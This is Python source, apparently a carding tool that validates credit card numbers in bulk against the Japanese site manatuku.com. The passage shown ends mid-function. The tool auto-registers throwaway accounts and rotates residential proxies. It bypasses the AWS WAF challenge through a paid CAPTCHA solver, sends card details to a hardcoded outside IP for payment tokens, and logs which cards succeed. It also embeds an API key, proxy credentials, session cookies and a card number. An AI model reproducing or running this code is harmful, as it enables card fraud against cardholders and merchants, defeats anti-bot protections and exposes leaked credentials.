import json
import random
import re
import threading
import time
from queue import Queue
from typing import Optional, Dict, Any, Tuple, List
import requests
import logging
import colorlog
from utils.cvv_utils import *
from dotenv import load_dotenv
import os
from db.redis_server import redis_client
from db.mysql_server import CvvCardData

load_dotenv()

log_colors_config = {
    'DEBUG': 'white',  # cyan white
    'INFO': 'green',
    'WARNING': 'yellow',
    'ERROR': 'red',
    'CRITICAL': 'bold_red',
}
USER_AGENT = [
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
  "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0",
  "Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0",
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/91.0.0.0",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/91.0.0.0"
]
logger = logging.getLogger('logger_name')
# 输出到控制台
console_handler = logging.StreamHandler()
logger.setLevel(logging.DEBUG)
console_handler.setLevel(logging.DEBUG)
console_formatter = colorlog.ColoredFormatter(
    # fmt='%(log_color)s[%(asctime)s.%(msecs)03d] %(filename)s -> %(funcName)s line:%(lineno)d [%(levelname)s] : %(message)s',
    fmt='%(log_color)s[%(asctime)s.%(msecs)03d] line:%(lineno)d [%(levelname)s] : %(message)s',
    datefmt='%Y-%m-%d  %H:%M:%S',
    log_colors=log_colors_config
)
console_handler.setFormatter(console_formatter)

if not logger.handlers:
    logger.addHandler(console_handler)
console_handler.close()

class Config:
    CAPSOLVER_API_KEY = "CAP-147149A8FD7E82B0A83BCD2E317C51AB2D5060780317C5C0488E4DBBFF596609"
    USER_AGENT = random.choice(USER_AGENT)
    TIMEOUT = 10
    BASE_URL = "https://manatuku.com"


class ProxyManager:
    """代理池"""
    def __init__(self, proxy_list):
        self.proxy_list = proxy_list
        self.lock = threading.Lock()
        self.used_proxy = set()

    def get_random_proxy(self):
        """随机获取一个可用代理"""
        with self.lock:
            if len(self.proxy_list) == 1:
                return random.choice(self.proxy_list)
            else:
                available_proxy = [s for s in self.proxy_list if s not in self.used_proxy]
                if not available_proxy:
                    return None
                proxy = random.choice(available_proxy)
                self.used_proxy.add(proxy)
                return proxy

    def loose_proxy(self, proxy):
        """释放代理"""
        with self.lock:
            if proxy in self.used_proxy:
                logger.info(f"释放代理: {proxy['ip']}:{proxy['port']}")
                self.used_proxy.remove(proxy)

    def del_proxy(self, proxy):
        """删除代理"""
        with self.lock:
            if proxy in self.proxy_list:
                if proxy in self.used_proxy:
                    logger.info(f'删除并释放代理: {proxy}')
                    self.used_proxy.remove(proxy)
                    self.proxy_list.remove(proxy)
                else:
                    logger.info(f'删除代理: {proxy}')
                    self.proxy_list.remove(proxy)

    def proxy_count(self):
        """获取可用代理数"""
        return len(self.proxy_list)


class SessionManager:
    """session管理器"""
    def __init__(self, session_list):
        self.session_list = session_list
        self.lock = threading.Lock()
        self.used_sessions = set()

    def get_random_session(self):
        """随机获取一个可用session"""
        with self.lock:
            available_sessions = [s for s in self.session_list if s not in self.used_sessions]
            if not available_sessions:
                return None
            session = random.choice(available_sessions)
            self.used_sessions.add(session)
            return session

    def loose_session(self, session):
        """释放session供其他线程使用"""
        with self.lock:
            if session in self.used_sessions:
                self.used_sessions.remove(session)

    def add_session(self, session):
        """添加session"""
        with self.lock:
            if session not in self.session_list:
                self.session_list.append(session)

    def del_session(self, session):
        """删除session"""
        with self.lock:
            if session in self.session_list:
                if session in self.used_sessions:
                    self.used_sessions.remove(session)
                    self.session_list.remove(session)
                else:
                    self.session_list.remove(session)

    def session_count(self):
        """获取可用session数"""
        available_sessions = [s for s in self.session_list if s not in self.used_sessions]
        return len(available_sessions)


class BaseRequestHandler:
    @staticmethod
    def make_request(
            url: str,
            method: str = "GET",
            headers: Optional[Dict[str, str]] = None,
            cookies: Optional[Dict[str, str]] = None,
            data: Optional[Dict[str, str]] = None,
            proxies: Optional[Dict[str, str]] = None,
            timeout: int = Config.TIMEOUT
    ) -> Optional[requests.Response]:
        """统一的HTTP请求处理方法"""
        default_headers = {
            "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
            "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
            "user-agent": Config.USER_AGENT,
        }

        if headers:
            default_headers.update(headers)

        try:
            kwargs = {
                "url": url,
                "headers": default_headers,
                "cookies": cookies,
                "timeout": timeout,
                "proxies": proxies or {},
            }

            if data:
                kwargs["data"] = data

            response = requests.request(method, **kwargs)
            response.raise_for_status()
            return response

        except requests.exceptions.RequestException as e:
            logger.error(f"请求 {url} 时出错: {e}")
            return None


class ManatSuku:
    def __init__(self, manatsuku_session: str = "", aws_waf_token: str = ""):
        self.manatsuku_session = manatsuku_session
        self.aws_waf_token = aws_waf_token
        self.gmo_payment_token = ""
        self.card_company = ""
        self.holder_name = ""
        self.card_number = ""
        self.expire = ""
        self.proxies = {}

    def set_proxies(self, ip: str, port: str, username: str = "", password: str = "") -> None:
        """设置代理"""
        auth_part = f"{username}:{password}@" if username and password else ""
        proxy_url = f"http://{auth_part}{ip}:{port}"
        self.proxies = {"http": proxy_url, "https": proxy_url}

    def get_new(self) -> Optional[requests.Response]:
        """获取绑定页面"""
        headers = {
            "referer": f"{Config.BASE_URL}/payments/new",
            "cache-control": "no-cache",
            "pragma": "no-cache",
        }
        cookies = {
            "_manatsuku_session": self.manatsuku_session,
            "aws-waf-token": self.aws_waf_token
        }
        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/payments/new",
            headers=headers,
            cookies=cookies,
            proxies=self.proxies
        )

    def get_sign_up(self) -> Optional[requests.Response]:
        """获取注册页面"""
        cookies = {}
        if self.manatsuku_session:
            cookies["_manatsuku_session"] = self.manatsuku_session
        if self.aws_waf_token:
            cookies["aws-waf-token"] = self.aws_waf_token

        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/customers/sign_up",
            cookies=cookies,
            proxies=self.proxies
        )

    def submit_payment(self, authenticity_token: str) -> Optional[requests.Response]:
        """提交绑定"""
        headers = {
            "referer": f"{Config.BASE_URL}/payments/new",
            "content-type": "application/x-www-form-urlencoded",
            "origin": Config.BASE_URL,
        }

        data = {
            "utf8": "✓",
            "authenticity_token": authenticity_token,
            "payment_credit_card[type]": "Payment::CreditCard",
            "payment_credit_card[card_company]": self.card_company,
            "payment_credit_card[card_number]": self.card_number,
            "payment_credit_card[holder_name]": self.holder_name,
            "payment_credit_card[gmo_payment_token]": self.gmo_payment_token,
        }

        cookies = {
            "aws-waf-token": self.aws_waf_token,
            "_manatsuku_session": self.manatsuku_session,
        }

        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/payments",
            method="POST",
            headers=headers,
            cookies=cookies,
            data=data,
            proxies=self.proxies
        )

    def register_customer(
            self,
            authenticity_token: str,
            lastname: str,
            firstname: str,
            email: str,
            password: str
    ) -> Optional[requests.Response]:
        """注册"""
        headers = {
            "content-type": "application/x-www-form-urlencoded",
            "origin": Config.BASE_URL,
            "referer": f"{Config.BASE_URL}/customers",
        }

        data = {
            "utf8": "✓",
            "authenticity_token": authenticity_token,
            "customer[firstkana]": "",
            "customer[lastkana]": "",
            "customer[notification_mail_subscription]": "1",
            "customer[i_am_bot]": "",
            "customer[lastname]": lastname,
            "customer[firstname]": firstname,
            "customer[email]": email,
            "customer[password]": password,
        }

        cookies = {
            "_manatsuku_session": self.manatsuku_session,
            "aws-waf-token": self.aws_waf_token,
        }

        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/customers",
            method="POST",
            headers=headers,
            cookies=cookies,
            data=data,
            proxies=self.proxies
        )

    def set_gmo_payment(self, card_number: str, holder_name: str, expire: str, card_company: str) -> bool:
        """设置GMO支付信息"""
        self.card_number = card_number
        self.holder_name = holder_name
        self.card_company = card_company
        self.expire = expire

        self.gmo_payment_token = self._get_gmo_token()
        return bool(self.gmo_payment_token)

    def _get_gmo_token(self) -> Optional[str]:
        """获取GMO令牌"""
        params = {
            "cardno": self.card_number,
            "expire": self.expire,
            "holdername": self.holder_name,
        }

        try:
            response = requests.get(
                "http://121.36.223.161:8000/get_token",
                params=params,
                timeout=Config.TIMEOUT
            )
            response.raise_for_status()
            result = response.json()
            url = result.get("url")

            if not url:
                logger.error("获取令牌URL失败")
                return None

            token_data = self._get_token_from_url(url)
            return token_data.get("tokenObject", {}).get("token") if token_data else None

        except requests.exceptions.RequestException as e:
            logger.error(f"获取GMO令牌失败: {e}")
            return None

    @staticmethod
    def _get_token_from_url(url: str) -> Optional[Dict[str, Any]]:
        """从URL获取令牌"""
        try:
            response = requests.get(url, timeout=Config.TIMEOUT)
            response.raise_for_status()

            content = response.text.strip()
            pattern = r'confirmToken\(({.*})\)'
            match = re.match(pattern, content)

            if match:
                return json.loads(match.group(1))
            logger.info(content)
            logger.error("响应格式不匹配")
            return None

        except (requests.exceptions.RequestException, json.JSONDecodeError) as e:
            logger.error(f"从URL获取令牌出错: {e}")
            return None

    def _handle_captcha_challenge(self, response_text: str, original_url: str) -> Optional[str]:
        """处理验证码"""
        logger.info("检测到验证码")

        challenge_url = re.search(r'src="(https?://[^"]*challenge\.js)"', response_text)
        key = re.search(r'"key":"([^"]*)"', response_text)
        iv = re.search(r'"iv":"([^"]*)"', response_text)
        context = re.search(r'"context":"([^"]*)"', response_text)

        if not all([challenge_url, key, iv, context]):
            logger.error("提取验证码参数失败")
            return None

        challenge_url = challenge_url.group(1)
        key = key.group(1)
        iv = iv.group(1)
        context = context.group(1)

        try:
            logger.info("正在处理验证码...")
            start_time = time.time()

            result = self._solve_aws_waf(
                original_url,
                challenge_url,
                key,
                iv,
                context
            )

            if result:
                elapsed_time = time.time() - start_time
                logger.info(f"验证码处理耗时: {elapsed_time:.2f}秒")
                return result

            logger.error("验证码处理失败")
            return None

        except TimeoutError as e:
            logger.error("验证码处理超时")
            return None

    @staticmethod
    def _solve_aws_waf(
            site_url: str,
            challenge: str,
            aws_key: str = "",
            aws_iv: str = "",
            aws_context: str = "",
            proxy: str = ""
    ) -> Optional[str]:
        """使用Capsolver处理AWS WAF验证"""
        payload = {
            "clientKey": Config.CAPSOLVER_API_KEY,
            "task": {
                "type": "AntiAwsWafTaskProxyLess",
                "websiteURL": site_url,
                "awsChallengeJS": challenge,
                "awsKey": aws_key,
                "awsIv": aws_iv,
                "proxy": proxy,
                "awsContext": aws_context,
            }
        }

        try:
            # 创建任务
            create_res = requests.post(
                "https://api.capsolver.com/createTask",
                json=payload,
                timeout=Config.TIMEOUT
            )
            create_res.raise_for_status()
            task_data = create_res.json()
            task_id = task_data.get("taskId")

            if not task_id:
                logger.error("创建任务失败:", create_res.text)
                return None

            logger.info(f"任务已创建: {task_id}. 等待平台返回...")

            # 轮询获取结果
            while True:
                time.sleep(1)
                get_payload = {"clientKey": Config.CAPSOLVER_API_KEY, "taskId": task_id}

                get_res = requests.post(
                    "https://api.capsolver.com/getTaskResult",
                    json=get_payload,
                    timeout=Config.TIMEOUT
                )
                get_res.raise_for_status()
                result_data = get_res.json()

                if result_data.get("status") == "ready":
                    return result_data.get("solution", {}).get("cookie")

                if result_data.get("status") == "failed" or result_data.get("errorId"):
                    logger.error("任务失败:", get_res.text)
                    return None

        except requests.exceptions.RequestException as e:
            logger.error(f"处理AWS WAF时出错: {e}")
            return None

    def process_response(self, response: requests.Response) -> Optional[str]:
        """处理响应，获取session和token"""
        set_cookie = response.headers.get("set-cookie", "")

        if not set_cookie:
            logger.error("响应中未找到cookie")
            return None

        session_match = re.search(r"_manatsuku_session=([^;]+)", set_cookie)

        if session_match:
            self.manatsuku_session = session_match.group(1)
            logger.debug(f"更新session: {self.manatsuku_session}")
        else:
            logger.debug("cookie中未找到session")

        # 返回响应文本供进一步处理
        return response.text

    def get_authenticity_token(self, html_text: str) -> Optional[str]:
        """从HTML中提取authenticity_token"""
        token_match = re.search(
            r'<input type="hidden" name="authenticity_token" value="([^"]+)"',
            html_text
        )

        if token_match:
            token = token_match.group(1)
            logger.info(f"获取到authenticity_token: {token}")
            return token

        logger.error("提取authenticity_token失败")
        return None

    def check_error_page(self, html_text: str) -> Optional[str]:
        """检查错误页面"""
        if "error_explanation" not in html_text:
            logger.info("未检测到错误")
            return None

        error_match = re.search(
            r'<div id="error_explanation">(.*?)</div>',
            html_text,
            re.DOTALL
        )

        if error_match:
            error_message = error_match.group(1).strip()
            logger.error(f"检测到错误: {error_message}")
            return error_message

        logger.info("发现错误说明但未能提取消息")
        return None

    def process_payment_result(self, response: requests.Response) -> bool:
        """处理绑定结果"""
        html_text = self.process_response(response)

        if not html_text:
            return False

        if "error_explanation" in html_text:
            error_match = re.search(
                r'<ul id=[\'"]error_explanation[\'"]>\s*<li>([^<]+)</li>\s*</ul>',
                html_text,
                re.DOTALL
            )
            if error_match:
                error_message = error_match.group(1).strip()
                logger.error(f"验证失败: {error_message}")
                return False
            else:
                logger.info("发现错误说明但未能提取消息")
                return False
        else:
            logger.info("验证成功")
            return True



    def process_registration_result(self, response: requests.Response) -> Optional[str]:
        """处理注册结果"""
        html_text = self.process_response(response)

        if not html_text:
            return None

        if self.check_error_page(html_text):
            return None

        logger.info("注册成功")
        return self.manatsuku_session

    def main_payment_flow(self) -> bool:
        """主要绑定流程"""
        start_time = time.time()
        new_page = self.get_new()
        if not new_page:
            logger.error("获取绑定页面失败")
            return False
        logger.debug(f"初始页面状态码: {new_page.status_code}")

        # 检查验证码
        if "JavaScript is disabled" in new_page.text:
            captcha_result = self._handle_captcha_challenge(
                new_page.text,
                f"{Config.BASE_URL}/payments/new"
            )

            if not captcha_result:
                logger.error("验证码处理失败")
                return False

            self.aws_waf_token = captcha_result
            logger.info("验证码处理后重试...")
            return self.main_payment_flow()

        # 处理正常响应
        html_text = self.process_response(new_page)

        if not html_text:
            return False

        authenticity_token = self.get_authenticity_token(html_text)

        if not authenticity_token:
            return False

        # 提交支付
        payment_response = self.submit_payment(authenticity_token)

        if not payment_response:
            return False

        # 处理支付结果
        result = self.process_payment_result(payment_response)

        elapsed_time = time.time() - start_time
        logger.info(f"支付流程完成，耗时 {elapsed_time:.2f} 秒")

        return result

    def main_registration_flow(self, lastname: str, firstname: str, email: str, password: str ) -> Optional[str]:
        """主要注册流程"""
        start_time = time.time()
        sign_up_page = self.get_sign_up()
        if not sign_up_page:
            logger.error("获取注册页面失败")
            return None

        logger.debug(f"初始页面状态码: {sign_up_page.status_code}")
        if "JavaScript is disabled" in sign_up_page.text:
            captcha_result = self._handle_captcha_challenge(
                sign_up_page.text,
                f"{Config.BASE_URL}/customers/sign_up"
            )

            if not captcha_result:
                logger.error("验证码处理失败")
                return None

            self.aws_waf_token = captcha_result
            logger.info("验证码处理后重试...")
            return self.main_registration_flow(lastname, firstname, email, password)

        html_text = self.process_response(sign_up_page)
        if not html_text:
            return None
        authenticity_token = self.get_authenticity_token(html_text)
        if not authenticity_token:
            return None
        # 提交注册
        registration_response = self.register_customer(
            authenticity_token,
            lastname,
            firstname,
            email,
            password
        )
        if not registration_response:
            return None
        result = self.process_registration_result(registration_response)
        elapsed_time = time.time() - start_time
        logger.info(f"注册流程完成，耗时 {elapsed_time:.2f} 秒")

        return result

    @staticmethod
    def validate_expire_date(expire: str) -> Optional[str]:
        """验证并格式化过期日期"""
        if not re.fullmatch(r"\d{6}", expire):
            logger.error("错误: 过期日期必须是6位数字")
            return None

        if expire[:2] == "20":
            year, month = expire[:4], expire[4:]
        elif expire[2:4] == "20":
            month, year = expire[:2], expire[2:6]
        else:
            logger.error("错误: 过期日期格式不合法 - 必须包含四位年份")
            return None

        # 验证月份
        if not 1 <= int(month) <= 12:
            logger.error(f"错误: 月份 {month} 不合法（必须是01-12）")
            return None

        # 验证年份
        current_year = time.localtime().tm_year
        if not 2000 <= int(year) <= current_year + 20:
            logger.error(f"错误: 年份 {year} 不合法（必须是2000-{current_year + 20}）")
            return None

        # 验证是否已过期
        current_month = time.localtime().tm_mon
        if int(year) == current_year and int(month) < current_month:
            logger.error(f"错误: 信用卡已于 {year}年{month}月 过期")
            return None

        # 返回格式化后的日期 (YYYYMM)
        return f"{year}{month.zfill(2)}"

class PaymentWorkers(threading.Thread):
    """验证线程"""

    def __init__(self, task_queue, result_queue, session_manager, proxy_manager, thread_id,user_id,filename,user_name):
        threading.Thread.__init__(self)
        self.task_queue = task_queue
        self.result_queue = result_queue
        self.session_manager = session_manager
        self.proxy_manager = proxy_manager
        self.thread_id = thread_id
        self.user_id = user_id
        self.filename = filename
        self.user_name = user_name
        self.current_proxy = None
        self.daemon = True

    def run(self):
        while True:
            task = self.task_queue.get()
            if task is None:
                self.task_queue.task_done()
                break

            card_data = task['card_data']
            card_number = card_data['card_number']
            year = card_data['year']
            month = card_data['month']
            card_company = card_data['card_type']

            try:
                logger.info(f"[线程 {self.thread_id}] 开始处理卡号: {card_number[-4:]}")
                session_token = self.session_manager.get_random_session()
                proxy = self.proxy_manager.get_random_proxy()
                if not session_token:
                    self.result_queue.put((card_number, False, "session资源不足"))
                    self.task_queue.task_done()
                    continue
                elif not proxy:
                    self.result_queue.put((card_number, False, "proxy资源不足"))

                logger.info(f"[线程 {self.thread_id}] 使用会话: {session_token[:8]}... | 代理: {proxy}")
                # 验证过期日期
                formatted_expire = ManatSuku.validate_expire_date(year+month)
                if not formatted_expire:
                    self.result_queue.put((card_number, False, "过期日期无效"))
                    self.task_queue.task_done()
                    continue
                manat_api = ManatSuku(session_token, "")
                manat_api.set_proxies(
                    proxy['ip'],
                    proxy['port'],
                    proxy.get('username', ''),
                    proxy.get('password', '')
                )
                if not manat_api.set_gmo_payment(card_number, self.user_name, formatted_expire, card_company):
                    self.result_queue.put((card_number, False, "设置GMO支付信息失败"))
                    self.task_queue.task_done()
                    continue
                # 执行主流程
                result = manat_api.main_payment_flow()
                if result:
                    redis_client.save_to_queues(card_number, self.user_id,self.filename,formatted_expire,True, "验证成功")
                    self.result_queue.put((card_number, self.user_id,self.filename,formatted_expire,True, "验证成功"))
                else:
                    redis_client.save_to_queues(card_number, self.user_id, self.filename, formatted_expire, False, "验证失败")
                    self.result_queue.put((card_number,self.user_id,self.filename, formatted_expire,False, "验证失败"))

            except Exception as e:
                self.result_queue.put((card_number, False, f"处理异常: {str(e)}"))

            finally:
                self.task_queue.task_done()

class PaymentWorker(threading.Thread):
    """验证线程"""
    def __init__(self, task_queue, result_queue, session_manager, proxy_manager, thread_id):
        threading.Thread.__init__(self)
        self.task_queue = task_queue
        self.result_queue = result_queue
        self.session_manager = session_manager
        self.proxy_manager = proxy_manager
        self.thread_id = thread_id
        self.current_proxy = None
        self.daemon = True

    def run(self):
        while True:
            task = self.task_queue.get()
            if task is None:
                self.task_queue.task_done()
                break
            card_data = task
            card_number, holder_name, expire, card_company = card_data
            try:
                logger.info(f"[线程 {self.thread_id}] 开始处理卡号: {card_number[-4:]}")
                session_token = self.session_manager.get_random_session()
                proxy = self.proxy_manager.get_random_proxy()
                if not session_token:
                    self.result_queue.put((card_number, False, "session资源不足"))
                    self.task_queue.task_done()
                    continue
                elif not proxy:
                    self.result_queue.put((card_number, False, "proxy资源不足"))

                logger.info(f"[线程 {self.thread_id}] 使用会话: {session_token[:8]}... | 代理: {proxy}")
                # 验证过期日期
                formatted_expire = ManatSuku.validate_expire_date(expire)
                if not formatted_expire:
                    self.result_queue.put((card_number, False, "过期日期无效"))
                    self.task_queue.task_done()
                    continue
                manat_api = ManatSuku(session_token, "")
                manat_api.set_proxies(
                    proxy['ip'],
                    proxy['port'],
                    proxy.get('username', ''),
                    proxy.get('password', '')
                )
                if not manat_api.set_gmo_payment(card_number, holder_name, formatted_expire, card_company):
                    self.result_queue.put((card_number, False, "设置GMO支付信息失败"))
                    self.task_queue.task_done()
                    continue
                # 执行主流程
                result = manat_api.main_payment_flow()
                if result:
                    self.result_queue.put((card_number, True, "验证成功"))
                else:
                    self.result_queue.put((card_number, False, "验证失败"))

            except Exception as e:
                self.result_queue.put((card_number, False, f"处理异常: {str(e)}"))

            finally:
                self.task_queue.task_done()


def main(manatsuku_session: str, card_number: str, holder_name: str, expire: str, card_company: str, proxy_ip: str, proxy_port: str, proxy_username: str = "", proxy_password: str = "") -> bool:
    """主函数"""
    # 验证并格式化过期日期
    formatted_expire = ManatSuku.validate_expire_date(expire)
    if not formatted_expire:
        return False

    logger.info("开始验证流程...")
    start_time = time.time()
    # 初始化API
    manat_api = ManatSuku(manatsuku_session, "")
    manat_api.set_proxies(proxy_ip, proxy_port, proxy_username, proxy_password)
    # 设置GMO支付信息
    if not manat_api.set_gmo_payment(card_number, holder_name, formatted_expire, card_company):
        logger.error("设置GMO支付信息失败")
        return False
    # 执行主流程
    result = manat_api.main_payment_flow()
    elapsed_time = time.time() - start_time
    logger.info(f"流程总耗时: {elapsed_time:.2f}秒")
    return result

def main_register(proxy_ip: str, proxy_port: str, lastname: str, firstname: str, email: str, password: str, proxy_username: str = "", proxy_password: str = "") -> Optional[str]:
    """主注册流程函数"""
    logger.info("开始注册流程...")
    start_time = time.time()
    # 初始化API
    manat_api = ManatSuku("", "")
    manat_api.set_proxies(proxy_ip, proxy_port, proxy_username, proxy_password)
    # 执行主注册流程
    session_token = manat_api.main_registration_flow(lastname, firstname, email, password)
    elapsed_time = time.time() - start_time
    logger.info(f"流程总耗时: {elapsed_time:.2f}秒")

    return session_token

def process_payments_multithreaded(session_manager: SessionManager, proxy_manager: ProxyManager, card_data_list: List[Tuple[str, str, str, str]], thread_count: int = 3) -> List[Tuple[str, bool, str]]:
    """多线程验证

    Args:
        session_manager: 会话管理器
        proxy_manager: 代理池
        card_data_list: 卡片数据列表 (卡号, 持卡人, 有效期, 卡类型)
        thread_count: 线程数量

    Returns:
        处理结果列表 [(卡号, 是否成功, 消息)]
    """
    logger.info("\n=== 开始多线程验证 ===")
    logger.info(f"总任务数: {len(card_data_list)} | 线程数: {thread_count}")
    task_queue = Queue()
    result_queue = Queue()
    for card_data in card_data_list:
        task_queue.put(card_data)
    workers = []
    for i in range(thread_count):
        worker = PaymentWorker(
            task_queue,
            result_queue,
            session_manager,
            proxy_manager,
            i + 1
        )
        worker.start()
        workers.append(worker)
    task_queue.join()
    for _ in range(thread_count):
        task_queue.put(None)
    for worker in workers:
        worker.join()
    results = []
    while not result_queue.empty():
        results.append(result_queue.get())

    logger.info("\n=== 验证处理结果汇总 ===")
    success_count = sum(1 for r in results if r[1])
    logger.info(f"成功: {success_count} | 失败: {len(results) - success_count}")
    return results

def payments_multithreaded(session_manager: SessionManager, proxy_manager: ProxyManager, card_data_list: List[Tuple[str, str, str, str]], user_id:int,filename:str,full_name:str,thread_count: int = 3) -> List[Tuple[str, bool, str]]:
    """多线程验证

    Args:
        session_manager: 会话管理器
        proxy_manager: 代理池
        card_data_list: [{line,data:{}}]
        thread_count: 线程数量

    Returns:
        处理结果列表 [(卡号, 是否成功, 消息)]
    """
    logger.info("\n=== 开始多线程验证 ===")
    logger.info(f"总任务数: {len(card_data_list)} | 线程数: {thread_count}")
    task_queue = Queue()
    result_queue = Queue()
    for card_data in card_data_list:
        task_queue.put(card_data)
    workers = []
    for i in range(thread_count):
        worker = PaymentWorkers(
            task_queue,
            result_queue,
            session_manager,
            proxy_manager,
            i + 1,
            user_id,
            filename,
            full_name
        )
        worker.start()
        workers.append(worker)
    task_queue.join()
    for _ in range(thread_count):
        task_queue.put(None)
    for worker in workers:
        worker.join()
    results = []
    while not result_queue.empty():
        results.append(result_queue.get())

    logger.info("\n=== 验证处理结果汇总 ===")
    success_count = sum(1 for r in results if r[1])
    logger.info(f"成功: {success_count} | 失败: {len(results) - success_count}")
    return results

if __name__ == "__main__":
    # session_mgr = SessionManager([
    #     "THRJRVl6c0NjTHNMNXNqdXlwRmJhVnJpSlFkMUNWUUFMQ1FvSjUrQkpkWXpXRUM1NWpxTVBRTVcyckljUHpML3IvZW9nNHE2c0hGTHd1YUY3TmF6ak5HVlp2d3ppcWxSQlFVREFQRENkcFNzR1NXZ2F5eUV0VnlVWCtnMnVLM3RxTTc5SEJJcTBEZ3hzekJ4OVUvTmxxQXFTL2pweDYyb2hCMTc1a00yWnROc3ZLZ005bDRKVHRDd3prcFlNNWViLS0zN2JuMzQrSDBaV0psS3Q2RHpHSUNRPT0%3D--84bd19e52f28331862c5210488a148e660bcb5dd",
    #     "OXpxV1N3QzhPc0tIeVhqQ3BBTm1zMWtzZ05DTXlneDdKR2dwR1NZTlNvU2VMbXVVNEVMUDE4VlUvTnFzc2xHVitJV0cvcEhOTzNnUEJPYldNeUZ5WDRmcnpmWGtLdVFBT1NZbFFteXVaU0V6anNwN0phQ0ROd3dCa1FtbzF4NVpRd1RHNWVGOEo2d2crcjdpSEJzdWdPUFJqMUtPM1BKVHJMYy9wbkh6OWVvWkF2UnhKdy80TGM5My9CRE5qZ0s2L1lIK1UxcVFDM2xlYy9zTzdzL3ZmbFU5QnlxRjFodlRVWmlYNkh0TVRGUHl2QnY0a1BiWldaT013bHBha1AwaFZXZWxwRUJ4UUVyQWFTei9CWVNvWGc9PS0tNHlxRzVWZ0FXKzB4c1VuS3diSThFZz09--8429f64ae794824ce8355bd6be71a5bfd2e9a740",
    # ])
    #
    # proxy_mgr = ProxyManager([
    #     {'ip': '24fd2a4e70b435d6.xji.na.novada.pro24fd2a4e70b435d6.xji.na.novada.pro', 'port': '7777', 'username': 'novada309zkB_ynaP3U-zone-resi-region-jp', 'password': 'wMiwCpuXV5he'}
    # ])
    #
    # # 测试信用卡数据
    # test_cards = [
    #     ("4111111111111111", "sanda1", "122025", "VISA"),
    #     ("5111111111111111", "faja2", "032024", "MASTER"),
    #     ("3711111111111111", "caga3", "052026", "AMEX")
    # ]
    #
    # results = process_payments_multithreaded(
    #     session_manager=session_mgr,
    #     proxy_manager=proxy_mgr,
    #     card_data_list=test_cards,
    #     thread_count=2
    # )

    # 配置代理信息


    # 示例用法 - 验证流程
    PAYMENT_EXAMPLE = True
    if PAYMENT_EXAMPLE:
        SESSION = 'OXpxV1N3QzhPc0tIeVhqQ3BBTm1zMWtzZ05DTXlneDdKR2dwR1NZTlNvU2VMbXVVNEVMUDE4VlUvTnFzc2xHVitJV0cvcEhOTzNnUEJPYldNeUZ5WDRmcnpmWGtLdVFBT1NZbFFteXVaU0V6anNwN0phQ0ROd3dCa1FtbzF4NVpRd1RHNWVGOEo2d2crcjdpSEJzdWdPUFJqMUtPM1BKVHJMYy9wbkh6OWVvWkF2UnhKdy80TGM5My9CRE5qZ0s2L1lIK1UxcVFDM2xlYy9zTzdzL3ZmbFU5QnlxRjFodlRVWmlYNkh0TVRGUHl2QnY0a1BiWldaT013bHBha1AwaFZXZWxwRUJ4UUVyQWFTei9CWVNvWGc9PS0tNHlxRzVWZ0FXKzB4c1VuS3diSThFZz09--8429f64ae794824ce8355bd6be71a5bfd2e9a740'
        CARD_NUMBER = '5399880058108200'
        HOLDER_NAME = 'guankam'
        EXPIRE = '202512'
        CARD_COMPANY = 'visa'

        payment_result = main(
            SESSION,
            CARD_NUMBER,
            HOLDER_NAME,
            EXPIRE,
            CARD_COMPANY,
            os.getenv("PROXY_IP"),
            os.getenv("PROXY_PORT"),
            os.getenv("PROXY_USER"),
            os.getenv("PROXY_PASSWORD")
        )
        logger.info(f"验证结果: {'成功' if payment_result else '失败'}")
    # 示例用法 - 注册流程
    REGISTER_EXAMPLE = False
    if REGISTER_EXAMPLE:
        LASTNAME = 'zhang'
        FIRSTNAME = 'shang'
        EMAIL = 'zhangshang824@gmail.com'
        PASSWORD = '12345678'

        new_session = main_register(
            os.getenv("PROXY_IP"),
            os.getenv("PROXY_PORT"),
            LASTNAME,
            FIRSTNAME,
            EMAIL,
            PASSWORD,
            os.getenv("PROXY_USER"),
            os.getenv("PROXY_PASSWORD")
        )
        if new_session:
            logger.info(f"注册成功，获取到的session token: {new_session}")
        else:
            logger.error("注册失败")

def do_register(result,user_id,filename):

    first_name = NameGenerator.random_first_name()
    last_name = NameGenerator.random_last_name()
    email = EmailGenerator.generate()
    register_session = main_register( os.getenv("PROXY_IP"),
            os.getenv("PROXY_PORT"),last_name,first_name,email,os.getenv("MANATUKU_PASSWD"))
    if register_session:
        ses = [register_session]
        session_manager = SessionManager(ses)
        proxies = [
